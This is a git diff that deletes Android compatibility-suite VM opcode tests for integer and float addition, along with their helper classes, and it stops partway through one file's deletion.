--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-import junit.framework.TestCase;
-
-public class AddFloatTest extends TestCase {
-    /**
-     * @title Arguments = 2.7f, 3.14f
-     */
-    public void testN1() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(5.84f, t.run(2.7f, 3.14f));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14f
-     */
-    public void testN2() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-3.14f, t.run(0, -3.14f));
-    }
-
-    /**
-     * @title Arguments = -3.14f, -2.7f
-     */
-    public void testN3() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-5.84f, t.run(-3.14f, -2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.NaN
-     */
-    public void testB1() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(3.3028235E38f, 0.11E38f));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddFloat_1 t = new AddFloat_1();
-        assertTrue(Float.isNaN(t.run(Float.POSITIVE_INFINITY,
-                Float.NEGATIVE_INFINITY)));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                Float.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY, -2.7f
-     */
-    public void testB4() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                -2.7f));
-    }
-
-    /**
-     * @title Arguments = +0, -0f
-     */
-    public void testB5() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(+0f, t.run(+0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -0f, -0f
-     */
-    public void testB6() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-0f, t.run(-0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -2.7f, 2.7f
-     */
-    public void testB7() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(+0f, t.run(-2.7f, 2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.MAX_VALUE
-     */
-    public void testB8() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.MAX_VALUE,
-                Float.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Float.MIN_VALUE, -1.4E-45f
-     */
-    public void testB9() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(0f, t.run(Float.MIN_VALUE, -1.4E-45f));
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java
deleted file mode 100644
index aff5beb..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-public class AddFloat_1 {
-
-    public float run(float a, float b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java
deleted file mode 100644
index 2eba052..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-public class AddFloat_5 {
-
-    public float run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java
deleted file mode 100644
index 177e564..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_float_2addr;
-
-import junit.framework.TestCase;
-
-public class AddFloat2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 2.7f, 3.14f
-     */
-    public void testN1() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(5.84f, t.run(2.7f, 3.14f));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14f
-     */
-    public void testN2() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-3.14f, t.run(0, -3.14f));
-    }
-
-    /**
-     * @title Arguments = -3.14f, -2.7f
-     */
-    public void testN3() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-5.84f, t.run(-3.14f, -2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.NaN
-     */
-    public void testB1() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(3.3028235E38f, 0.11E38f));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertTrue(Float.isNaN(t.run(Float.POSITIVE_INFINITY,
-                Float.NEGATIVE_INFINITY)));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                Float.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY, -2.7f
-     */
-    public void testB4() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                -2.7f));
-    }
-
-    /**
-     * @title Arguments = +0, -0f
-     */
-    public void testB5() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(+0f, t.run(+0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -0f, -0f
-     */
-    public void testB6() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-0f, t.run(-0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -2.7f, 2.7f
-     */
-    public void testB7() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(+0f, t.run(-2.7f, 2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.MAX_VALUE
-     */
-    public void testB8() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.MAX_VALUE,
-                Float.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Float.MIN_VALUE, -1.4E-45f
-     */
-    public void testB9() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(0f, t.run(Float.MIN_VALUE, -1.4E-45f));
-    }
-
-    
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java
deleted file mode 100644
index cabd4f9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float_2addr;
-
-public class AddFloat2Addr_1 {
-
-    public float run(float a, float b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java
deleted file mode 100644
index 7fdd723..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float_2addr;
-
-public class AddFloat2Addr_5 {
-
-    public float run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java
deleted file mode 100644
index 7e67da6..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int;
-
-import junit.framework.TestCase;
-
-public class AddIntTest extends TestCase {
-    /**
-     * @title Arguments = 8, 4
-     */
-    public void testN1() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(12, t.run(8, 4));
-    }
-
-    /**
-     * @title Arguments = 0, 255
-     */
-    public void testN2() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(255, t.run(0, 255));
-    }
-
-    /**
-     * @title Arguments = 0, -65536
-     */
-    public void testN3() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-65536, t.run(0, -65536));
-    }
-
-    /**
-     * @title Arguments = 0, -2147483647
-     */
-    public void testN4() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483647, t.run(0, -2147483647));
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe, 2
-     */
-    public void testN5() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483648, t.run(0x7ffffffe, 2));
-    }
-
-    /**
-     * @title Arguments = -1, 1
-     */
-    public void testN6() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(-1, 1));
-    }
-
-
-    /**
-     * @title Arguments = 0, Integer.MAX_VALUE
-     */
-    public void testB1() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(Integer.MAX_VALUE, t.run(0, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, Integer.MAX_VALUE
-     */
-    public void testB2() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2, t.run(Integer.MAX_VALUE, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, 1
-     */
-    public void testB3() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(Integer.MIN_VALUE, t.run(Integer.MAX_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, 1
-     */
-    public void testB4() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483647, t.run(Integer.MIN_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = 0, 0
-     */
-    public void testB5() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(0, 0));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, Integer.MIN_VALUE
-     */
-    public void testB6() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(Integer.MIN_VALUE, Integer.MIN_VALUE));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java
deleted file mode 100644
index 825821d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int;
-
-public class AddInt_1 {
-
-    public int run(int a, int b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java
deleted file mode 100644
index c17caaa..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int;
-
-public class AddInt_5 {
-
-    public int run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java
deleted file mode 100644
index b2c4eb3..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_2addr;
-
-import junit.framework.TestCase;
-
-public class AddInt2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 8, 4
-     */
-    public void testN1() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(12, t.run(8, 4));
-    }
-
-    /**
-     * @title Arguments = 0, 255
-     */
-    public void testN2() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(255, t.run(0, 255));
-    }
-
-    /**
-     * @title Arguments = 0, -65536
-     */
-    public void testN3() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-65536, t.run(0, -65536));
-    }
-
-    /**
-     * @title Arguments = 0, -2147483647
-     */
-    public void testN4() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483647, t.run(0, -2147483647));
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe, 2
-     */
-    public void testN5() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483648, t.run(0x7ffffffe, 2));
-    }
-
-    /**
-     * @title Arguments = -1, 1
-     */
-    public void testN6() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(-1, 1));
-    }
-
-    /**
-     * @title Arguments = 0, Integer.MAX_VALUE
-     */
-    public void testB1() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(Integer.MAX_VALUE, t.run(0, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, Integer.MAX_VALUE
-     */
-    public void testB2() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2, t.run(Integer.MAX_VALUE, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, 1
-     */
-    public void testB3() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(Integer.MIN_VALUE, t.run(Integer.MAX_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, 1
-     */
-    public void testB4() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483647, t.run(Integer.MIN_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = 0, 0
-     */
-    public void testB5() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(0, 0));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, Integer.MIN_VALUE
-     */
-    public void testB6() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(Integer.MIN_VALUE, Integer.MIN_VALUE));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java
deleted file mode 100644
index ec0757b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_2addr;
-
-public class AddInt2Addr_1 {
-
-    public int run(int a, int b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java
deleted file mode 100644
index 8b78444..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_2addr;
-
-public class AddInt2Addr_5 {
-
-    public int run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java
deleted file mode 100644
index cc378df..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_lit16;
-
-import junit.framework.TestCase;
-
-public class AddIntLit16Test extends TestCase {
-    /**
-     * @title Arguments = 8 + 4
-     */
-    public void testN1() {
-        AddIntLit16_1 t = new AddIntLit16_1();
-        assertEquals(12, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 255
-     */
-    public void testN2() {
-        AddIntLit16_2 t = new AddIntLit16_2();
-        assertEquals(255, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + (-32768)
-     */
-    public void testN3() {
-        AddIntLit16_3 t = new AddIntLit16_3();
-        assertEquals(-32768, t.run());
-    }
-
-    /**
-     * @title Arguments = (-2147483647) + 0
-     */
-    public void testN4() {
-        AddIntLit16_4 t = new AddIntLit16_4();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe + 2
-     */
-    public void testN5() {
-        AddIntLit16_5 t = new AddIntLit16_5();
-        assertEquals(-2147483648, t.run());
-    }
-
-    /**
-     * @title Arguments = -1 + 1
-     */
-    public void testN6() {
-        AddIntLit16_6 t = new AddIntLit16_6();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + Short.MAX_VALUE
-     */
-    public void testB1() {
-        AddIntLit16_7 t = new AddIntLit16_7();
-        assertEquals(Short.MAX_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + Short.MAX_VALUE
-     */
-    public void testB2() {
-        AddIntLit16_8 t = new AddIntLit16_8();
-        assertEquals(-2147450882, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + 1
-     */
-    public void testB3() {
-        AddIntLit16_9 t = new AddIntLit16_9();
-        assertEquals(Integer.MIN_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE + 1
-     */
-    public void testB4() {
-        AddIntLit16_10 t = new AddIntLit16_10();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB5() {
-        AddIntLit16_11 t = new AddIntLit16_11();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = Short.MIN_VALUE + Short.MIN_VALUE
-     */
-    public void testB6() {
-        AddIntLit16_12 t = new AddIntLit16_12();
-        assertEquals(-65536, t.run());
-    }
-    
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java
deleted file mode 100644
index 95313ee..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_1 {
-
-    public int run() {
-        return 8 + 4;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java
deleted file mode 100644
index e5fa9fa..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_10 {
-
-    public int run() {
-        return Integer.MIN_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java
deleted file mode 100644
index 375cfff..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_11 {
-
-    public int run() {
-        return 0 + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java
deleted file mode 100644
index 3c30be0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_12 {
-
-    public int run() {
-        return Short.MIN_VALUE + Short.MIN_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java
deleted file mode 100644
index 5f3d6f9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
